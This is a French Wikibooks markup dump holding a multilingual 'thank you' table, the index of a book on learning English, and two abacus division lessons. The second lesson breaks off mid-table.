bgcolor="#f3fff3" | [[w:Abénaquis|Abénaquis]] || Wliwin|| |- bgcolor="#f3fff3" | [[w:Afrikaans|Afrikaans]] || Dankie|| |- bgcolor="#f3fff3" | [[w:Albanais|Albanais]] || Faleminderit || Faleminderit shumë |- bgcolor="#f3fff3" | [[w:Algérien|Algérien]] || Tanmirt (Berbere) <br/>Saha (litt. Santé) <br/>Shukran || Tanmirt Tamoqrant (Berbere) |- bgcolor="#f3fff3" | [[w:Allemand|Allemand]] || Danke || Danke schön<br>Danke sehr<br>Vielen Dank |- bgcolor="#f3fff3" | [[w:Alsacien|Alsacien]] || Merci || Vielmols Merci |- bgcolor="#f3fff3" | [[w:Anglais|Anglais]] || Thank you<br>Thanks || Thank you very much<br>Thank you so much |- bgcolor="#f3fff3" | [[w:Arabe_(langue)|Arabe]] || Shukran شكراً|| Shukran jazilan شكراً جزيلاً |- bgcolor="#f3fff3" | [[w:Bambara|Bambara]] || I ni cɛ || I ni cɛ |- bgcolor="#f3fff3" | [[w:Basque|Basque]] || Eskerrik asko<br>Milesker<br>Mila esker || <br>Milesker Ainitz<br><br> |- bgcolor="#f3fff3" | [[w:Berbère|Berbère]] || Tanemmirt || Tanemmirt kigan |- bgcolor="#f3fff3" | [[w:Biélorusse|Biélorusse]] || Dziakouïou<br>Дзякую || |- bgcolor="#f3fff3" | [[w:Bosniaque|Bosniaque]] || Hvala<br>Zahvaljujem || Puno hvala<br>Mnogo hvala |- bgcolor="#f3fff3" | [[w:Breton|Breton]] || Trugarez<br>Mersi || Trugarez a-greiz kalon<br>Mersi bras<br>Bennozh Doue |- bgcolor="#f3fff3" | [[w:Bulgare|Bulgare]] || Blagodaria<br>благодаря || Mnogo blagodaria<br>много благодаря |- bgcolor="#f3fff3" | [[w:Catalan|Catalan]] || Gràcies<br>Mercès || Moltes gràcies<br>Grans mercès |- bgcolor="#f3fff3" | [[w:Chinook|Chinook Jargon]] || Mahsi || Hyas mahsi, kloshe mahsi |- bgcolor="#f3fff3" | [[w:Cantonais|Chinois]] cantonnais|| &#21566;&#35813; m goi || &#22810;&#35874; to se |- bgcolor="#f3fff3" | [[w:Chinois|Chinois]] mandarin || &#35874;&#35874; xiexie <br> || Feichang ganxie <br> 非常感謝 |- bgcolor="#f3fff3" | [[w:Coréen|Coréen]] || kamsa hamnida|| tèdanhi kamsa hamnida |- bgcolor="#f3fff3" | [[w:Corse|Corse]] || Vi ringraziu || Vi ringraziu mori |- bgcolor="#f3fff3" | [[w:Créole|Créole]] || Mèsi || Mèsi Onlo |- bgcolor="#f3fff3" | [[w:Croate|Croate]] || Hvala || Hvala ljepo |- bgcolor="#f3fff3" | [[w:Danois|Danois]] || Tak || Mange tak |- bgcolor="#f3fff3" | [[w:Edo|Edo]] || Ù rú èsé || |- bgcolor="#f3fff3" | [[w:Espagnol|Espagnol]] || Gracias || Muchas gracias |- bgcolor="#f3fff3" | [[w:Espéranto|Espéranto]] || Dankon || Dankegon <br />Multan dankon |- bgcolor="#f3fff3" | [[w:Estonien|Estonien]] || Tänan || Tänan väga |- bgcolor="#f3fff3" | [[w:Finnois|Finnois]] || Kiitos || Kiitos hyvää |- bgcolor="#f3fff3" | [[w:Galicien|Galicien]] || Grazas || Moitas grazas |- bgcolor="#f3fff3" | [[w:Gallo|Gallo]] || Mèrci || Mèrci bèleben<br>Graund mèrci |- bgcolor="#f3fff3" | [[w:Gallois|Gallois]] || Diolch || |- bgcolor="#f3fff3" | [[w:Bamiléké|Bamiléké-Ghomala']] || Gə piη o <br> Motokwa |- bgcolor="#f3fff3" | [[w:Gilbertin|Gilbertin]] || Ko rabwa || Ko batin rabwa |- bgcolor="#f3fff3" | [[w:Grec|Grec]] || Ευχαριστώ || Ευχαριστώ πολύ |- bgcolor="#f3fff3" | [[w:Hébreu|Hébreu]] || Todah <br> תודה || Todah Rabah <br> תודה רבה |- bgcolor="#f3fff3" | [[w:Hindî|Hindî]] || Shukriyâ<br>Dhanyavâd || n/d |- bgcolor="#f3fff3" | [[w:Hongrois|Hongrois]] || Köszönöm || Köszönöm szépen |- bgcolor="#f3fff3" | [[w:Indonésien|Indonésien]] || Terima kasih || Terima kasih banyak |- bgcolor="#f3fff3" | [[w:Interlingua|Interlingua]] || Gratias || Multe gratias |- bgcolor="#f3fff3" || Inuktitut || Nakurmik || Nakurmik marialuk |- bgcolor="#f3fff3" | [[w:Irlandais|Irlandais]] || Go raibh maith agat (sing.) <br> Go raibh maith agaibh (plur.)|| Go raibh míle maith agat <br> Go raibh míle maith agaibh |- bgcolor="#f3fff3" | [[w:Islandais|Islandais]] || Takk || |- bgcolor="#f3fff3" | [[w:Italien|Italien]] || Grazie || Grazie mille |- bgcolor="#f3fff3" | [[w:Japonais|Japonais]] || Arigatô<br>&#12354;&#12426;&#12364;&#12392;&#12358; || Dômo arigatô<br>&#12393;&#12358;&#12418;&#12354;&#12426;&#12364;&#12392;&#12358; |- bgcolor="#f3fff3" | [[w:Jersiais|Jersiais]] (normande) || Mèrcie || Mèrcie bein des fais |- bgcolor="#f3fff3" | [[w:Kinyarwanda|Kinyarwanda]] || Murakoze || Murakoze cyane |- bgcolor="#f3fff3" | [[w:Letton|Letton]] || Paldies || |- bgcolor="#f3fff3" | [[w:Limbourgeois|Limbourgeois]] || Danke || Hertelik bedank |- bgcolor="#f3fff3" | [[w:Lituanien|Lituanien]] || Ačiu || Labai ačiu |- bgcolor="#f3fff3" | [[w:Luxembourgeois|Luxembourgeois]] || Merci || Merci villmols |- bgcolor="#f3fff3" | [[w:Macédonien|Macédonien]] || благодарам (Blagodaram) || |- bgcolor="#f3fff3" | [[w:Malais|Malais]] || Terima kasih || Terima kasih banyak |- bgcolor="#f3fff3" | [[w:Malgache|Malgache]] || Misaotra || Misaotra betsaka |- bgcolor="#f3fff3" | [[w:Mongol|Mongol]] || Baïrlala (Баярлалаа) || |- bgcolor="#f3fff3" | [[w:Néerlandais|Néerlandais]] || Dank je<br>Dank U || Dank je wel<br>Dank U wel |- bgcolor="#f3fff3" | [[w:Norvégien|Norvégien]] || Takk || Mange takk<br>Tusen takk |- bgcolor="#f3fff3" | [[w:Occitan|Occitan]] || Mercés || Grand mercés |- bgcolor="#f3fff3" | [[w:Persan|Persan]] || Mersi || Kheili mamnun |- bgcolor="#f3fff3" | [[w:Peulh|Pulaar]] || A jaraama|| A jaraama no feewi |- bgcolor="#f3fff3" | [[w:Philippin|Philippin]] || Salamat|| Maraming salamat |- bgcolor="#f3fff3" | [[w:Polonais|Polonais]] || Dzi&#281;kuj&#281; || dzi&#281;kuj&#281; bardzo |- bgcolor="#f3fff3" | [[w:Portugais|Portugais]] || obrigado (homme)<br>obrigada (femme) || muito obrigado<br>muito obrigada |- bgcolor="#f3fff3" | [[w:Romani|Romani]] || Najis tuke || |- bgcolor="#f3fff3" | [[w:Roumain|Roumain]] || Mul&#355;umesc (je remercie)<br />Mersi<br />Mul&#355;umim (nous remercions) || mul&#355;umesc foarte mult |- bgcolor="#f3fff3" | [[w:Russe|Russe]] || Spasibo<br> &#1089;&#1087;&#1072;&#1089;&#1080;&#1073;&#1086; || Spasibo bol'choïe<br> &#1089;&#1087;&#1072;&#1089;&#1080;&#1073;&#1086; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1077; |- bgcolor="#f3fff3" | [[w:Sangö|Sangö]] || Singuila || Singuila mingui |- bgcolor="#f3fff3" | [[w:Sarde|Sarde]] || Aggrassias <br> Aggratzias || Meda aggrassias<br>Meda aggratzias |- bgcolor="#f3fff3" | [[w:Serbe|Serbe]] || H'vala, Zah'valluyemm <br> Хвала, Захваљујем || H'vala lépo <br> Хвала лепо, |- bgcolor="#f3fff3" | [[w:Slovène|Slovène]] || Hvala || Hvala lepa |- bgcolor="#f3fff3" | [[w:Slovaque|Slovaque]] || Ďakujem<br>Vďaka || Ďakujem (veľmi) pekne<br>Tisíckrát ďakujem |- bgcolor="#f3fff3" | [[w:Suédois|Suédois]] || Tack || Tack så mycket |- bgcolor="#f3fff3" | [[w:Swahili|Swahili]] || Asante || Asante sana |- bgcolor="#f3fff3" | [[w:Tagalog|Tagalog]] || Salamat po || |- bgcolor="#f3fff3" | [[w:Tahitien|Tahitien]] || Mauruuru || |- bgcolor="#f3fff3" | [[w:Tahitien|Tahitien]] || Nandrii (ou Thanks) || |- bgcolor="#f3fff3" | [[w:Tchèque|Tchèque]] || D&#283;kuji<br>díky || mockrát d&#283;kuji<br>tisíceré díky |- bgcolor="#f3fff3" | [[w:Thaï|Thaï]] || ขอบคุณคะ Kop khun kap (''homme'')<br/>ขอบคุณครับ Kop khun kha (''femme'')|| |- bgcolor="#f3fff3" | [[w:Tibétain|Tibétain]] || thugs rje gnang || thug rje che |- bgcolor="#f3fff3" | [[w:Turc|Turc]] || Teşekkür ederim || Çok teşekkür ederim |- bgcolor="#f3fff3" | [[w:Vietnamien|Vietnamien]] || lời cảm ơn || cảm ơn nhiều |- bgcolor="#f3fff3" | [[w:Wolof|Wolof]] || jërë jëf (selon l'orthographe wolof)|| |- bgcolor="#f3fff3" | [[w:Zoulou|Zoulou]] || Ngiyabonga (je remercie)<br />Siyabonga (nous remercions) || Ngiyabonga kakhulu |} {{wiktionnaire|merci|merci}} [[Catégorie:Dire dans le monde|Merci]] Enseignement de l'anglais 154 44977 2006-06-18T01:51:10Z Eric.dane 1653 /* Liens */ <gallery> Image:Flag_of_the_United_Kingdom.svg Image:Flag_of_the_United_States.svg Image:Flag_of_Ireland.svg Image:Flag_of_Canada.svg Image:Flag_of_Australia.svg Image:Flag_of_New Zealand.svg Image:Flag_of_South_Africa.svg </gallery> <gallery> Image:Houses.of.parliament.overall.arp.jpg Image:NewYork_LibertyStatue.jpg Image:SydneyOperaHouse.jpg </gallery> __NOTOC__ Ce livre enseignant l''''anglais''' est destiné aussi bien à des personnes débutant l'apprentissage de l'anglais qu'à des personnes voulant se perfectionner. C'est pourquoi il existe plusieurs catégories de chapitres. Les leçons sont utiles pour débuter l'anglais. Les chapitres concernant la conjugaison, les modaux ou le vocabulaire permettent de réviser une notion particulière. === <center>Leçons </center>=== {| border="0" cellpadding="5" cellspacing="0" align="center" |- | bgcolor="#EEFFFF" width=250| [[Anglais : Leçon 1|Leçon 1]] {{50}} : se présenter || bgcolor="#EEFFFF" width=250| [[Anglais : l'heure|Leçon 3]] {{Modèle:100}}: l'heure || bgcolor="#EEFFFF" width=250| [[Anglais : le discours indirect|Leçon 5]] {{75}}: le discours indirect |- | bgcolor="#EEFFFF" | [[Anglais : Leçon 2|Leçon 2]] {{25}} : les hobbies || bgcolor="#EEFFFF" | [[Anglais : la date|Leçon 4]] {{25}}: la date || bgcolor="#EEFFFF" | [[Anglais : Leçon 6|Leçon 6]] |} ---- === <center>Conjugaison </center>=== {| border="0" cellpadding="5" cellspacing="0" align="center" |- | bgcolor="#F3F3FF" width=250| [[Anglais : Présent|Présent]] [[Image:75%.png]] || bgcolor="#F3F3FF" width=250| [[Anglais : Prétérit|Prétérit]] [[Image:75%.png]] || bgcolor="#F3F3FF" width=250| [[Anglais : Past perfect|Past perfect]][[Image:75%.png]] |- | bgcolor="#F3F3FF" | [[Anglais : Présent progressif|Présent progressif]] [[Image:75%.png]] || bgcolor="#F3F3FF" | [[Anglais : Conditionnel|Conditionnel]] || bgcolor="#F3F3FF" | [[Anglais_temps_exercices|Exercices : Temps]] |- | bgcolor="#F3F3FF" | [[Anglais : Infinitif et gérondif|Infinitif et gérondif]] [[Image:25%.png]] || bgcolor="#F3F3FF" | [[Anglais : Futur|Le Futur]][[Image:75%.png]]|| bgcolor="#F3F3FF" | [[Anglais:Impératif|L'impératif]] |- | bgcolor="#F3F3FF" | [[Anglais : Parfait présent|Parfait présent]] (Present perfect) [[Image:100%.png]] || bgcolor="#F3F3FF" | [[Anglais : Passif|Passif]] || bgcolor="#F3F3FF" | [[Anglais:Tableau_conjugaison_récapitulatif|Tableau de conjugaison (récapitulatif)]] |- | bgcolor="#F3F3FF" | [[Anglais : Verbe être|Verbe être]] (to be) |} ---- === <center>Grammaire</center>=== {| border="0" cellpadding="5" cellspacing="0" align="center" |- | bgcolor="#EAF5FB" width=250|[[Anglais:Les_mots_interrogatifs|Les mots interrogatifs]] || bgcolor="#EAF5FB" width=250|[[Anglais:Pronoms|Les pronoms]] ||bgcolor="#EAF5FB" width=250| [[Anglais:Adjectifs|Les adjectifs]] || bgcolor="#EAF5FB" width=250|[[Anglais:Les_adverbes|Les adverbes]] |- | bgcolor="#EAF5FB" | [[Anglais : Comparatifs|Les comparatifs]] ||bgcolor="#EAF5FB" | [[Anglais:Proposition_infinitive|La proposition infinitive]] || bgcolor="#EAF5FB" | [[Anglais:Articles|Les différents articles]] |- | bgcolor="#EAF5FB" |[[Anglais: Les contractions|Les contractions]] || bgcolor="#EAF5FB" | [[Anglais:Proposition_infinitive_exercices|Exercices : La proposition infinitive]]|| bgcolor="#EAF5FB" | [[Anglais: Les verbes composés|Les verbes composés]] |- | bgcolor="#EAF5FB" width=250|[[Anglais:Since_et_for|Since et for]] || bgcolor="#EAF5FB" | [[Anglais:Pronoms_relatifs|Les pronoms relatifs]]|| bgcolor="#EAF5FB" | [[Anglais:Exclamations|Exclamations]] |} === <center>Modaux </center>=== {| cellpadding="5" align="center" | bgcolor="#EEFFFF" width=250 | [[Anglais : must, mustn't, have to|Must, mustn't have to]]{{75}} || bgcolor="#EEFFFF" width=250 | [[Anglais : can, could, be able to|Can, could, be able to]] {{75}} || bgcolor="#EEFFFF" width=250 | [[Anglais_exercices_modaux|Exercices : modaux]] |- | bgcolor="#EEFFFF" width=250 | [[Anglais : may, might, be allowed to|May, might, be allowed to]] {{50}} || bgcolor="#EEFFFF" width=250 | [[Anglais : will, shall|Will, shall]] |} ---- === <center>Vocabulaire </center>=== {| border="0" cellpadding="5" cellspacing="0" align="center" |- | bgcolor="#EEEEFF" width=250| [[Anglais : Formules de politesse|Formule de politesse]] {{50}} || bgcolor="#EEEEFF" width=250| [[Anglais : Clothing, l'habillement|L'habillement]] {{50}} ||bgcolor="#EEEEFF" width=250| [[Anglais : Food & Drink / Aliments et Boissons |Food & Drink : ''Aliments et Boissons'']] {{50}} |- |bgcolor="#EEEEFF" | [[Anglais : La maison|La maison]] {{25}}|| bgcolor="#EEEEFF" | [[Anglais : The health, la santé|La santé]] {{50}} ||bgcolor="#EEEEFF" |[[Anglais : Science|La science]] {{25}} |- |bgcolor="#EEEEFF" | [[Anglais : The body, Le corps|Le corps]] {{75}}|| bgcolor="#EEEEFF" | [[Anglais : The family, la famille|La famille]] {{25}} ||bgcolor="#EEEEFF" | [[Shopping : Les Achats|Shopping : ''Les Achats'']]{{25}} |- |bgcolor="#EEEEFF" | [[Anglais : The city, la ville|La ville]]{{25}} || bgcolor="#EEEEFF" | [[Anglais : Politics and government|La politique et le gouvernement]]{{50}} || bgcolor="#EEEEFF" | [[Anglais : Tourism, le tourisme|Le tourisme]]{{25}} |- |bgcolor="#EEEEFF" | [[Anglais : le caractère|Le caractère]] {{25}}|| bgcolor="#EEEEFF" | [[Anglais : School, l'école|L'école]] {{50}}|| bgcolor="#EEEEFF" | [[Anglais : Time, le temps|Le temps]]{{50}} |- |bgcolor="#EEEEFF" | [[Anglais : Donner son opinion|Donner son opinion]]{{25}}|| bgcolor="#EEEEFF" | [[Anglais : Countries, les pays| Les pays]]{{50}} |- |bgcolor="#EEEEFF" | [[Anglais : Animals, les animaux|Les animaux]] {{50}} || bgcolor="#EEEEFF" | [[Anglais : Religion|La religion]]{{50}} || bgcolor="#EEEEFF" |[[Anglais : Trades, les métiers|Les métiers]]{{50}} |- |bgcolor="#EEEEFF" | [[Anglais : Gardening, le jardinage|Le jardinage]] {{25}}|| bgcolor="#EEEEFF" | [[Anglais : Army, l'armée|L'armée]]{{50}} || bgcolor="#EEEEFF" |[[Anglais : The weather, le temps|Le temps (la météo)]] {{25}} |- |bgcolor="#EEEEFF" | [[Anglais:Cooking, la cuisine|La cuisine]] {{50}}|| bgcolor="#EEEEFF" | [[Anglais : Chemistry, la chimie|La chimie]]{{25}} || bgcolor="#EEEEFF" |[[Anglais : Physics, les sciences physiques|Les sciences physiques]]{{25}} |- |bgcolor="#EEEEFF" | [[Anglais:Architecture, l'architecture|L'architecture]] || bgcolor="#EEEEFF" | [[Anglais : Mathematics, les mathématiques|Les mathématiques]]{{25}} || bgcolor="#EEEEFF" |[[Anglais : Biology, la biologie|La biologie]] |- |bgcolor="#EEEEFF" | [[Anglais : Music, la musique|La musique]] {{25}} ||bgcolor="#EEEEFF" | [[Anglais: The senses : les sens|Les sens]] |} ---- == Applications, exercices == {| border="0" cellpadding="5" cellspacing="0" align="center" |- | bgcolor="#EAF5FB" width=250| [[Anglais_temps_exercices|Exercice sur les temps]] || bgcolor="#EAF5FB" width=250| [[Anglais_exercices_modaux|Exercices sur les modaux]] || bgcolor="#EAF5FB" width=250| [[Anglais:Articles_Exercices|Exercices sur les articles]] |- | bgcolor="#EAF5FB" width=250| [[Anglais:Exercices Since For|Exercices : since et for]]|| bgcolor="#EAF5FB" width=250| [[Anglais:Comparatifs Test|Exercices sur les comparatifs]] || bgcolor="#EAF5FB" width=250| [[Anglais : Présent progressif Test|Exercices sur le présent progressif]] |- | bgcolor="#EAF5FB" width=250| [[Anglais : Présent Test|Exercices sur le présent]] || bgcolor="#EAF5FB" width=250| [[Anglais : Prétérit Test|Exercices sur le prétérit]] || bgcolor="#EAF5FB" width=250| [[Anglais : Parfait présent Test|Exercices sur le parfait présent]] |- | bgcolor="#EAF5FB" width=250| [[Anglais:Exclamations Test|Exercices sur l'exclamation]] |} ---- Pour une liste plus complète de mots, il existe un projet Wikimédia de dictionnaire : * Le [[wikt:en:Main Page|Wiktionary]] vous sera utile pour les versions (dictionnaire explicatif des mots anglais, avec des traductions vers d'autres langues) * Le [[wikt:fr:Page d'accueil|Wiktionnaire]], (Wiktionary francophone), vous sera utile pour les thèmes (dictionnaire explicatif français, avec des traductions vers d'autres langues) ==Culture des pays anglophones== * [[La culture anglaise]] * [[La culture américaine]] * [[w: Culture du Canada|La culture canadienne]] * [http://en.wikipedia.org/wiki/Canadian_English Canadian English] et [http://en.wikipedia.org/wiki/Canadian_slang Canadian slang] (en anglais) * [[Anglais:Proverbes|Proverbes]] == Voir aussi == * [[Faux amis en anglais]] * [[Basic English]] ==Annexes== * [[Verbes irréguliers]] * [[Les noms incomptables]] * [[Anglais : Pays|Noms des pays, des nationalités]] == Liens == * [http://furylanguage.com Fury Language], site proposant des fiches de vocabulaires et des exercices * [http://www.scientificpsychic.com/verbs1fr.html Conjugueur anglais] [[Catégorie:Langue|Anglais]] [[Catégorie:Langues]] [[de:Englisch]] [[en:English]] [[es:Inglés]] [[fi:Englannin kieli]] [[he:אנגלית למתחילים]] [[it:Corso di inglese]] [[ja:英語]] [[pl:Angielski]] [[pt:Inglês]] [[sv:Engelska]] [[th:ภาษาอังกฤษ]] [[zh:英语]] S'initier au boulier en 10 leçons - Leçon 7bis 155 11958 2005-04-25T15:12:29Z 82.228.122.59 coquille {| width="100"% cols="3" border="1" align = "right" |----- | colspan="3" align="center" | <b>[[S'initier au boulier en 10 leçons]]</b> |----- | align="center" | [[S'initier au boulier en 10 leçons - Leçon 6|Leçon 6]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 7|Retour]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 8|Leçon 8]] |} ''' Division de 57 683 par 157''' <br/> <br/> Pour diviser 57 683 par 157, on écrit d'abord les deux nombres {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 5 | align="center" | 7 | align="center" | 6 | align="center" | 8 | align="center" | 3 | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | [[Image:bouliernb8.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} *On regarde les poids forts et on arrondit le diviseur par excès 2. 5/2 donne (2 ; 1). On écrit 2 à gauche et on ôte 2&times;157 au dividende. La soustraction s'effectue de gauche à droite: on ôte 2 dans la première rangée, 10 dans la seconde rangée, puis 14 dans la troisième rangée {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | <font color = "red">2</font> | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | <font color = "red">2</font> | align="center" | <font color = "red">6</font> | align="center" | <font color = "red">2</font> | align="center" | 8 | align="center" | 3 | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb8.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} En rouge figurent les colonnes actives pour le calcul suivant. * On peut encore enlever 157 une fois supplémentaire (effet de l'arrondi). On ajoute 1 au quotient et on ôte 157 au dividende. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 3 | align="center" | <font color = "red">...</font> | align="center" | ... | align="center" | ... | align="center" | <font color = "red">1</font> | align="center" | <font color = "red">0</font> | align="center" | <font color = "red">5</font> | align="center" | <font color = "red">3</font> | align="center" | 3 | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb8.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} * 10/2 donne (5 ; 0). On écrit 5 dans la deuxième colonne du quotient et on ôte 5&times; 157 dans le dividende {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 3 | align="center" | <font color = "red">5</font> | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | <font color = "red">2</font> | align="center" | <font color = "red">7</font> | align="center" | <font color = "red">3</font> | align="center" | 3 | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} * On peut encore ôter 157 au dividende. On ajoute alors 1 dans la colonne active du quotient. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 3 | align="center" | 6 | align="center" | <font color = "red">...</font> | align="center" | ... | align="center" | 0 | align="center" | <font color = "red">1</font> | align="center" | <font color = "red">1</font> | align="center" | <font color = "red">6</font> | align="center" | <font color = "red">3</font> | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} *11/2 donne (5 ; 1). On écrit donc 5 dans la troisième colonne du quotient, et on ôte 5&times;157 du dividende. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 3 | align="center" | 6 | align="center" | <font color = "red">5</font> | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | <font color = "red">3</font> | align="center" | <font color = "red">7</font> | align="center" | <font color = "red">8</font> | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb8.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} * On peut encore ôter 157 deux fois au dividende. On ajoute alors 2 au quotient. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 3 | align="center" | 6 | align="center" | 7 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | 6 | align="center" | 4 | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 |- | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb6.png]] | align="center" | [[Image:bouliernb4.png]] | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] |} <Br/> La division de 57 683 par 157 a pour quotient 367 et pour reste 64 S'initier au boulier en 10 leçons - Leçon 7(cas 1) 156 11959 2004-07-26T11:01:13Z HB 15 exemple de division à virgule {| width="100"% cols="3" border="1" align = "right" |----- | colspan="3" align="center" | <b>[[S'initier au boulier en 10 leçons]]</b> |----- | align="center" | [[S'initier au boulier en 10 leçons - Leçon 6|Leçon 6]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 7|Retour]] | align="center" | [[S'initier au boulier en 10 leçons - Leçon 8|Leçon 8]] |} '''Division de 358 par 7 avec 3 chiffres après la virgule''' <br/> <br/> Le chiffre écrit en gras est celui des unités. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 3 | align="center" | 5 | align="center" | '''8''' | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | ... | align="center" | 7 |- | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb8.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | ... | align="center" | [[Image:bouliernb7.png]] |} *35/7 donne (5 ; 0) {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 5 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | '''8''' | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | ... | align="center" | 7 |- | align="center" | [[Image:bouliernb5.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb8.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | ... | align="center" | [[Image:bouliernb7.png]] |} * 8 : chiffre des unités. 8/7 donne ('''1''';1) {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 5 | align="center" | '''1''' | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | '''1''' | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | ... | align="center" | 7 |- | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | ... | align="center" | [[Image:bouliernb7.png]] |} * 10/7 donne (1;3) {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 5 | align="center" | '''1''' | align="center" | 1 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | '''0''' | align="center" | 3 | align="center" | 0 | align="center" | 0 | align="center" | ... | align="center" | 7 |- | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | ... | align="center" | [[Image:bouliernb7.png]] |} *30/7 donne (4 ; 2) {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 5 | align="center" | '''1''' | align="center" | 1 | align="center" | 4 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | '''0''' | align="center" | 0 | align="center" | 2 | align="center" | 0 | align="center" | ... | align="center" | 7 |- | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb4.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb2.png]] | align="center" | 